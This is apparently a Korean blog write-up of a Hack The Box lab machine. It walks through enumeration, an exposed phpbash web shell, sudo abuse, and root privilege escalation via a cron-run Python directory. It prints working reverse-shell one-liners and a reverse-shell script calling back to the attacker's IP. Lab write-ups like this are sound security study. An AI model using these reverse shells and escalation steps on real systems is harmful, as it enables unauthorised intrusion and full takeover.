GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation
Hack-the-Box-OSCP-Preparation. Contribute to rkhal101/Hack-the-Box-OSCP-Preparation development by creating an account on GitHub.
github.com
nmap
apache 이놈 웹이구나(또)
-p- 결과 다른 거 나온 것 없음..
-sU 결과도 암 것도 안나옴
phpbash란 무엇인가
https://github.com/Arrexel/phpbash
GitHub - Arrexel/phpbash: A semi-interactive PHP shell compressed into a single file.
A semi-interactive PHP shell compressed into a single file. - GitHub - Arrexel/phpbash: A semi-interactive PHP shell compressed into a single file.
github.com
- standalone(독립적), semi-interactive web shell
- 기존의 reverse shell이 불가능한 penetration test(침투 테스트)를 지원하는 것이 목적
- helps pentesting
그니까 대충.. 저기 자기네 쉘이 웹을 통해 올려져 있는데, 그걸 뚫어서 flag를 읽으라는 말같다.
webshell이란
- 웹 사이트를 통해 shell을 여는 공격
- webshell은 해커가 악성 프로그램을 웹 사이트에 업로드하는 것으로 시작된다.
- 악성 프로그램은 주로 서버 사이트 스크립트로 만들어진다. 즉, 웹 사이트에 아무도 모르게 쉘 명령어를 날릴 수 있는 페이지를 하나 더 만드는 것이다.
- 웹쉘은 일반적인 웹 사이트 사용자들과 동일한 웹 서비스 포트(80, 8080, 443)을 통해 이루어지므로 탐지가 매우 어려워, 해킹 사고가 터지지 않는 이상은 인지하기 어렵다.
[ 출처 : https://run-it.tistory.com/53 ]
gobuster
하나하나 들어가보다가
여기서 phpbash.php를 클릭했더니 쉘이 떴다. 여기서 바로 user.txt를 읽을 수 있다.
권한 상승...을 위한 준비 단계
(scriptmanager : scriptmanager) NOPASSWD: ALL
는 현재 사용자(www-data)는 scriptmanager의 권한으로 비밀번호 없이 모두 사용할 수 있다는 것이다.
근데 여기서 scriptmanager 권한이라고 뜨는 디렉터리에 cd할 수 없는 것을 볼 수 있다.
결국 롸업을 봤다.
.
.
.
나는 이 시스템의 경우 웹 서버에서 리눅스 명령을 실행할 수 있는 낮은 권한의 쉘이 있으므로 reverse shell을 얻을 필요가 없다고 생각했다.
그러나, 실제 모의침투에서는 php script를 중단하는 경우를 대비해 reverse shell을 따는 것이 좋다.
reverse shell 시도(실패)
[*] 내 kali
nc -nlvp 1234
[*] web shell
nc -nv 10.10.14.30 1234 -e /bin/sh
reverse shell 시도(성공)
[*] 내 kali
nc -nlvp 1234
[*] web shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.30",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
쉘을 딸 수 있었다!
권한 상승 시작하기
sudo -l 로 현재(www-data) 권한에서 비밀번호없이 scriptmanager 권한으로 모두 사용할 수 있다는 것을 알 수 있다.
/ 위치에서 scripts 디렉터리가 scriptmanager 권한으로 되어있는 것을 볼 수 있다.
sudo -i -u scriptmanager 로 사용자를 scriptmanager로 바꾼다.
cd scripts
test.py가 scriptmanager 권한이고, test.txt는 root 권한이다.
그럼 저기 f.write() 부분을 잘 만들어서 실행하면 root.txt를 읽을 수 있지 않을까?
test.py가 지속적으로 실행되는 것 같다. test.txt의 시간이 계속 업데이트되는 것을 볼 수 있다.
그렇다면, reverse shell code.py 파일을 하나 여기 넣어놓는다면 자동으로 저절로 실행되어 쉘이 붙지 않을까?
reverse shellcode 실행하기
공격자(내 kali)에서 할 일
1. reverse shell code 입력(shellcode.py)
☞ 이런게 복붙했는데 잘 작동이 안된다, 싶으면 ip, port 잘 맞는지 그리고 따옴표가 이상하지 않은지 체크하기(경험담)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.30",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
2. python -m SimpleHTTPServer 9005
3. chrome에서 http://10.10.14.30:9005 접속해서 2.가 제대로 동작했는지 확인
4. nc -nlvp 5555
타겟(10.10.10.68)에서 할 일
1. 현재 권한이 scriptmanager인지 확인, scripts 폴더 위치로 가기
2. wget http://10.10.14.30:9005/shellcode.py
3. 기다리기 (약 1분 정도)
3-1. 여기서 기다리지 않고 python shellcode.py 로 바로 실행해버리면 root 쉘이 아닌 scriptmanager 쉘이 따질 것이다.
기다리면 알아서 shellcode.py가 실행되어 루트 쉘이 따진다. 여기서 root.txt를 확인하면 된다.
[**] 이 때 루트쉘이 따지는 이유는 (내가 생각했을 때)
test.txt에 값을 쓰는 test.py가 있고, test.txt의 생성 시간을 지속적으로 확인해보면 계속 업데이트되는 것을 알 수 있다.
그렇다면, 지속적으로 test.py가 실행된다는 의미이다. (여기서 해당 디렉터리의 py파일을 모두 실행한다는 것을 확인해 볼 수도 있는 것이다.)
또한 여기서 test.txt 권한이 root이므로, python이 root 권한으로 실행된다고 예측할 수 있다.
때문에, root권한으로 python을 지속적으로 실행하는 어떤 매크로(?)같은.. 것 덕분에 root쉘을 딸 수 있는 것이다.
그래도 user.txt까지는 내 스스로 구했다. 쉬운 문제였지만 그래도 해냈다는 점에서 뿌듯하다!!
+
+
+
reverse shellcode에 대해 깨달은 것
kali 권한의 shellcode.py
root 권한의 shellcode2.py 가 있다고 했을때,
로컬에서 테스트해 본 결과,
파일 각각의 권한과 상관없이 kali권한으로 python shellcode.py, python shellcode2.py를 실행하면 - kali 쉘이 따진다.
sudo python shellcode.py, sudo python shellcode2.py를 실행하면 - root 쉘이 따진다.
'워게임 > hackthebox' 카테고리의 다른 글
cronos 롸업 정리 (0) | 2021.09.15 |
---|---|
friendzone 롸업 정리 (0) | 2021.09.11 |
nibbles 롸업 정리 (0) | 2021.09.09 |
RSA 알고리즘 (0) | 2021.09.09 |
brainfuck 롸업 정리(wpscan, pop3 포함) (0) | 2021.09.07 |
댓글